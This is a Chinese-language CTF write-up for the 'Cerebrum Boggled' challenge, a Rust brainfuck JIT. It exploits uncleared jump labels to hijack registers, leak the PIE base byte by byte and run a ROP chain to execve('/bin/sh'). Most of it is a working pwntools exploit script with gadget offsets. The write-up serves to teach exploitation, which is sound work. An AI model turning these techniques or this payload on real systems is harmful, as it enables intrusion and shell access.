Skip to content

Latest commit

 

History

History

cerebrum-boggled

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
date challenge tags
2022-04-15 12:43:36 -0700
Cerebrum Boggled
brainfuck
jit

题目分析

rust程序,提供了源码,实现了一个brainfuckjit

与之前见过的brainfuck类型题目不同的是,这道题的generate_jit函数中没有找到越界等漏洞,程序的主要问题其实在主函数提供的while result.is_err()中:

  • 重新进行generate_forward_labels前后,上次生成的backward_labels并没有被清除

pwn的过程主要就是扩大自己对程序控制范围的过程,因此考虑通过:

  • nop填充偏移
  • 先后传入[]控制跳转
  • ,.末尾的大量pop语句

三者结合,控制rcx寄存器,将其劫持到&ret_addr附近,进而控制ret_addr进行rop.


漏洞利用

结合gdb进行下列分析和尝试:

首先设置payload = b"+[><,.__]"进行测试,将汇编语句与jit中提供的功能对应,计算偏移:

// starting	0xe
0x000:      push   rbx
0x001:      movabs rcx,0x7ffd0f9a32c8
0x00b:      xor    rbx,rbx

// '+'		0x3
0x00e:      inc    BYTE PTR [rcx+rbx*1]

// '['		0xa
0x011:      cmp    BYTE PTR [rcx+rbx*1],0x0
0x015:      je     0x7f2f2f54b09d

// '>'		0x1d
0x01b:      inc    rbx
0x01e:      movabs rdx,0x1000
0x028:      cmp    rbx,rdx
0x02b:      jl     0x7f2f2f54b038
0x031:      mov    al,0x1
0x033:      jmp    0x7f2f2f54b09f

// '<'		0x17
0x038:      dec    rbx
0x03b:      cmp    rbx,0x0
0x042:      jge    0x7f2f2f54b04f
0x048:      mov    al,0x2
0x04a:      jmp    0x7f2f2f54b09f

// ','		0x1d
0x04f:      push   rax
0x050:      push   rcx
0x051:      push   rdx
0x052:      push   rdi
0x053:      push   rsi
0x054:      xor    rax,rax
0x057:      xor    rdi,rdi
0x05a:      lea    rsi,[rcx+rbx*1]
0x05e:      mov    rdx,0x1
0x065:      syscall
0x067:      pop    rsi
0x068:      pop    rdi
0x069:      pop    rdx
0x06a:      pop    rcx
0x06b:      pop    rax

// '.'		0x25
0x06c:      push   rax
0x06d:      push   rcx
0x06e:      push   rdx
0x06f:      push   rdi
0x070:      push   rsi
0x071:      mov    rax,0x1
0x078:      mov    rdi,0x1
0x07f:      lea    rsi,[rcx+rbx*1]
0x083:      mov    rdx,0x1
0x08a:      syscall
0x08c:      pop    rsi
0x08d:      pop    rdi
0x08e:      pop    rdx
0x08f:      pop    rcx
0x090:      pop    rax

// nop		0x1
0x091:      nop
0x092:      nop

// ']'		0xa
0x093:      cmp    BYTE PTR [rcx+rbx*1],0x0
0x097:      jne    0x7f2f2f54b01b

0x09d:      mov    al,0x0
0x09f:      pop    rbx
0x0a0:      ret

对应的汇编指令长度计算:

def calcLen(payload):
	initSum = 0
	for i in payload.decode():
		if 	 i == '[' or i == ']':
			initSum += 0xa
		elif i == '+' or i == '-':
			initSum += 0x3
		elif i == '>' or i == ',':
			initSum += 0x1d
		elif i == '<':
			initSum += 0x17
		elif i == '.':
			initSum += 0x25
		else:
			initSum += 0x1
	return initSum

控制rax, rcx寄存器

通过以上分析,就可以构造pop rax的循环( 程序会在]处进行条件跳转,目标是与之对应的[结束的位置,故把payload分为两段先后送入程序 ):

值得注意的是,若payload1[所对应的跳转地址比calcLen(payload1)大,则rust会报错

// payload1:
0x00e 		'_' * 0x12
0x020 		'['
0x02a 		(pop rax)

// payload2:
0x00e 		','
0x02b 		','
0x048 		']' -> 0x02a_pop_rax

即:

payload1 = b'_'*0x12 + b'['
payload2 = b',,]'
payload1 = payload1.ljust(calcLen(payload2), b'_')

测试发现成功控制rax;

在此基础上构造循环pop rcx; pop rax;:

// payload2 = b',,,],]'
// payload1:
0x00e 		'_' * 0x11
0x01f 		'['
0x029 		'_' * 0x14
0x03d 		'['
0x047 		(pop_rcx_rax)

// payload2:
0x00e 		','
0x02b 		','
0x048 		','
0x065		']' -> 0x029_pop_rax
0x06f 		','
0x08c 		']' -> 0x047_pop_rcx_rax

泄露PIE偏移

程序实现的jit中将rcx用于定位写入的地址,一开始的想法是将rcx劫持到一块可写可执行的内存区域进行ret2shellcode,但是程序中并没有找到合适的空间,同时程序的plt表上什么也没有,就只能考虑更麻烦的ROP,由于PIE的存在,第一步自然是泄露elf基址:

调试发现rcx附近有几个特别的地址,它们末尾几位总是430,相对于elf_base是固定的且offset=0x10430,就可以借助brainfuck.逐字节泄露:

payload2 += b'[>.,],'
# previous_exploit
for i in range(7):
	sn(b'a')
	rn(1)
for i in range(11):
	leak_addr = b''
	for i in range(8):
		sn(b'a')
		leak_addr += rn(1)
	leak_addr = uu64(leak_addr)
	lg("leak_addr")
lg("leak_addr")
elf_base = leak_addr - 0x10430

这样就可以通过偏移来构造ROP了.


但是刚刚泄露时循环>修改了rbx,因此通过b'[<,],'rbx归零:

payload2 += b'[<,],'
# previous_exploit
sn(b'\x00')
for i in range(0x5f):
	sn(b'a')
sn(b'\x00')

ROP

进一步调试,发现程序最后ret_addr距离rcx还有一段偏移,因此考虑再最初多pop几次rax:

# previous
for i in range((0x7ffe79705030-0x7ffe79704e90) // 8):
	sn(b'a')

接下来就是ROP利用了:

def ROP(base):
	pop_rdi_ret = 0x711d + base
	mov_rdx_rdi_ret = 0x103F2 + base
	pop_rsi_ret = 0x7285 + base
	pop_rax_ret = 0x10143 + base
	syscall = 0x10847 + base
	buffer = 0x62078 + base
	or_rax_rcx_ret = 0x41a73 + base
	magic1 = 0x40512 + base
	magic2 = 0x404ba + base
	payload = p64(0) # pop rbx
	payload += p64(pop_rax_ret) + p64(0) # ret
	payload += p64(or_rax_rcx_ret)
	payload += p64(pop_rsi_ret) + p64(0xC0)
	payload += p64(pop_rdi_ret) + p64(buffer - 0x18)
	payload += p64(magic1) # [buffer] = rcx + 0xC0

	payload += p64(pop_rdi_ret) + p64(0)
	payload += p64(mov_rdx_rdi_ret) # rdx = 0
	payload += p64(pop_rsi_ret) + p64(0) # rsi = 0
	payload += p64(pop_rdi_ret) + p64(buffer - 8)
	payload += p64(magic2) + p64(0) # rdi = [buffer] = rcx + 0xC0
	payload += p64(pop_rax_ret) + p64(59) # rax = 59
	payload += p64(syscall)
	payload += b'/bin/sh\x00' * 10
	for i in payload:
		sn(p8(i) + b'a')
	sn(b'\x00'*2)

exp.py

#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']

remote_service = "cha.hackpack.club 20994"
remote_service = remote_service.strip().split(" ")
# p = remote(remote_service[0], int(remote_service[1]))
filename = "./pwn"
p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
    lg("p.pid")
    input()
def sendPayload(payload):
	ru(b'program length: ')
	sl(str(len(payload)).encode())
	ru(b'program source: ')
	sn(payload)
def calcLen(payload):
	initSum = 0
	for i in payload.decode():
		if 	 i == '[' or i == ']':
			initSum += 0xa
		elif i == '+' or i == '-':
			initSum += 0x3
		elif i == '>' or i == ',':
			initSum += 0x1d
		elif i == '<':
			initSum += 0x17
		elif i == '.':
			initSum += 0x25
		else:
			initSum += 0x1
	return initSum

def ROP(base):
	pop_rdi_ret = 0x711d + base
	mov_rdx_rdi_ret = 0x103F2 + base
	pop_rsi_ret = 0x7285 + base
	pop_rax_ret = 0x10143 + base
	syscall = 0x10847 + base
	buffer = 0x62078 + base
	or_rax_rcx_ret = 0x41a73 + base
	magic1 = 0x40512 + base
	magic2 = 0x404ba + base
	payload = p64(0) # pop rbx
	payload += p64(pop_rax_ret) + p64(0) # ret
	payload += p64(or_rax_rcx_ret)
	payload += p64(pop_rsi_ret) + p64(0xC0)
	payload += p64(pop_rdi_ret) + p64(buffer - 0x18)
	payload += p64(magic1) # [buffer] = rcx + 0xC0

	payload += p64(pop_rdi_ret) + p64(0)
	payload += p64(mov_rdx_rdi_ret) # rdx = 0
	payload += p64(pop_rsi_ret) + p64(0) # rsi = 0
	payload += p64(pop_rdi_ret) + p64(buffer - 8)
	payload += p64(magic2) + p64(0) # rdi = [buffer] = rcx + 0xC0
	payload += p64(pop_rax_ret) + p64(59) # rax = 59
	payload += p64(syscall)
	payload += b'/bin/sh\x00' * 10
	for i in payload:
		sn(p8(i) + b'a')
	sn(b'\x00'*2)

payload1 = b'_'*0x11 + b'[' + b'_'*0x14 + b'['
payload2 = b',,,],],' + b'[>.,],' + b'[<,],' + b'[,>,],'
payload1 = payload1.ljust(calcLen(payload2), b'_')

sendPayload(payload1)
sendPayload(payload2)

sn(b'a'*2)
for i in range(4):
	sn(b'a')
sn(b'\x00')

sn(b'a')
sn(b'\x00')

######
# lifting rsp to adjust it to rcx in the end
for i in range((0x7ffe79705030-0x7ffe79704e90) // 8):
	sn(b'a')
######

sn(b'\x00')
sn(b'\x00')

for i in range(7):
	sn(b'a')
	rn(1)
for i in range(11):
	leak_addr = b''
	for i in range(8):
		sn(b'a')
		leak_addr += rn(1)
	leak_addr = uu64(leak_addr)
	lg("leak_addr")
lg("leak_addr")
elf_base = leak_addr - 0x10430

sn(b'\x00')
for i in range(0x5f):
	sn(b'a')
sn(b'\x00')

debugPID()
sn(b'a')
ROP(elf_base)

irt()